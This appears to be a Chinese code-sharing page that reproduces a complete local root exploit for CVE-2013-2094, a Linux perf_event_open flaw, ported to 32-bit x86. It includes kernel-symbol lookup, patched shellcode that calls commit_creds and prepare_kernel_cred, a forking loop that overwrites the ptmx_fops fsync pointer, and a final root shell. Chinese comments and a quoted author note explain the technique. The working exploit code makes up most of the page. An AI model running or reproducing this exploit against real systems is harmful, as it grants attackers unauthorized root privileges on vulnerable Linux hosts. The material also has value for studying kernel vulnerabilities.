首页 > 代码库 > CVE-2013-2094 porting to x86-32 分析
CVE-2013-2094 porting to x86-32 分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 | /* * linux 2.6.37-3.8.8 - x86 * @rikiji * * requires System.map and /dev/ptmx * this: http://zmbs.net/~rikiji/perf_ptmx.c * original: http://fucksheep.org/~sd/warez/semtex.c */ #include <unistd.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <string.h> #include <stdlib.h> #include <stdio.h> #include <sys/mman.h> #include <stdint.h> #include <linux/perf_event.h> #include <asm/unistd.h> #define SYSMAP_PREFIX "/boot/System.map-" #define PAGE_SIZE 4096 unsigned long commit_creds = 0; unsigned long prepare_kernel_cred = 0; #define OFFSET_PREP 3 #define OFFSET_COMM 10 char shellcode [] = "\x31\xc0\xbb\x04\x03\x02\x01\xff\xd3\xbb\x08\x07\x06\x05\xff\xd3\xc3" ; /* xor eax,eax mov ebx,0x1020304 call ebx mov ebx,0x5060708 ;char* src = http://www.mamicode.com/arg[1] call ebx ret ; char c = src[i] */ unsigned long getsym( char * sym) { char s[256] = { 0 }; int fd = open( "/proc/version" , O_RDONLY); read(fd, s, sizeof (s)); strtok (s, " " ); strtok (NULL, " " ); char * version = strtok (NULL, " " ); close(fd); int len = strlen (version) + strlen (SYSMAP_PREFIX) + 1; char * mapf = malloc (len); memset (mapf, 0, len); strncpy (mapf, SYSMAP_PREFIX, strlen (SYSMAP_PREFIX)); strncpy (mapf + strlen (SYSMAP_PREFIX), version, strlen (version)); fd = open(mapf, O_RDONLY); #define BUFSIZE 1024 char * buf = malloc (BUFSIZE + 1); buf[BUFSIZE] = 0; int partial = 0, found = 0; char addr[9]; while (!found) { read(fd, buf, BUFSIZE); char * tok = strtok (buf, " \n" ); while (tok != NULL) { int n = strlen (tok); if (partial) { if ( strncmp (sym + partial, tok, n) == 0) { found = 1; break ; } else { partial = 0; } } else { if ( strncmp (sym, tok, n) == 0) { strncpy (addr, tok - 11, 9); if (n < strlen (sym) && (tok + n == buf + BUFSIZE)) { partial = n; break ; } if (n == strlen (sym)) { found = 1; break ; } } } tok = strtok (NULL, " \n" ); } } close(fd); printf ( "%s: 0x%s\n" , sym, addr); return strtoul (addr, NULL, 16); } int main( int argc, char ** argv) { unsigned long perf_table = getsym( "perf_swevent_enabled" ); commit_creds = getsym( "commit_creds" ); prepare_kernel_cred = getsym( "prepare_kernel_cred" ); unsigned long pmtx_ops = getsym( "ptmx_fops" ); *((unsigned int *)(shellcode + OFFSET_PREP)) = prepare_kernel_cred; *((unsigned int *)(shellcode + OFFSET_COMM)) = commit_creds; int s; for (s=0;s< sizeof (shellcode);s++) printf ( "%02x " , (unsigned char )shellcode[s]); printf ( "\n" ); /* 56 is offset of fsync in struct file_operations */ int target = pmtx_ops + 56; //it‘s Null value int payload = -((perf_table - target)/4); printf ( "payload: 0x%x\n" , payload); unsigned long base_addr = 0x10000; char * map = mmap(( void *)base_addr, PAGE_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_FIXED | MAP_SHARED, -1, 0); if (map == MAP_FAILED) perror ( "mmap" ); memcpy (map, shellcode, 0x30); struct perf_event_attr event_attr; memset (&event_attr, 0, sizeof ( struct perf_event_attr)); event_attr.type = 1; event_attr.size = sizeof ( struct perf_event_attr); event_attr.config = payload; int times = base_addr; //為了繞過 sysctl -w vm.mmap_min_addr = 65536 (=0x10000) int i = 0, k; #define BLOCK 256 // 65536 = 256 * 256, shellcode放在0x10000 (=65536), 為了改寫[pmtx_ops + 56]的值成0x10000 while (times - i > 0) { //65536-0 , 65536-256*1, 65536-256*2,...,65536-256*256 總共做65536次的+1 printf ( "i %d\n" , i); if (times - i > BLOCK) { if (fork()) { //parent & child both run after fork(), 所以說child process每次都從此開始 //parent process for (k=0;k<BLOCK;k++){ int fd = syscall(__NR_perf_event_open, &event_attr, 0, -1, -1, 0); //跳到[pmtx_ops + 56] + 256,之後去等待,換child process執行, //會跳到while又再fork出一個child process做[pmtx_ops + 56] + 256...依此類推。 if (fd < 0) { perror ( "perf_event_open child" ); }} pause(); //等child exit (0); } //child process i += BLOCK; } else { //times - i == BLOCK的情況,即65536-256*255 == 256, 以下為最後一個256次。由while(times - i > 0)停止。 int fd = syscall(__NR_perf_event_open, &event_attr, 0, -1, -1, 0); if (fd < 0) { perror ( "perf_event_open" ); sleep(1); } i++; //256*255+1 } } int ptmx = open( "/dev/ptmx" , O_RDWR); fsync(ptmx); if (getuid()) { printf ( "failed" ); return -1; } printf ( "root!!" ); execl( "/bin/sh" , "sh" , NULL); return 0; } |
"An idea from /u/spender is to call multiple times perf_event_open
while keeping the file descriptors open, avoiding the destroy callback which will revert the change done in the init function. In this way is possible to increment a value in kernel space multiple times. This has the drawback of the process hitting the maximum number of open file descriptors allowed very fast, so some forking is required. I browsed a bit the kernel source to find a function pointer initialized to zero which was not stored in read only memory, and I chose to leverage drivers/tty/pty.c
, a driver for ptmx devices, which is enabled in the default Debian kernel and has struct file_operations ptmx_fops
, which has some NULL pointers and more importantly is not in read only memory."
sw_perf_event_destroy (i.e. destroy callback)
但是,linux系统中单个进程能够打开的file descriptor数量是有限制的,所以需要fork出足够多的进程,反复修改。可用ulimit -n查詢,一般來說是1024
http://pastebin.com/xdqEbhYR (查找system.map版)
http://pastebin.com/mMn3QvuR (查找/proc/kallsyms版)
ref. http://rikiji.it/2013/05/10/CVE-2013-2094-x86.html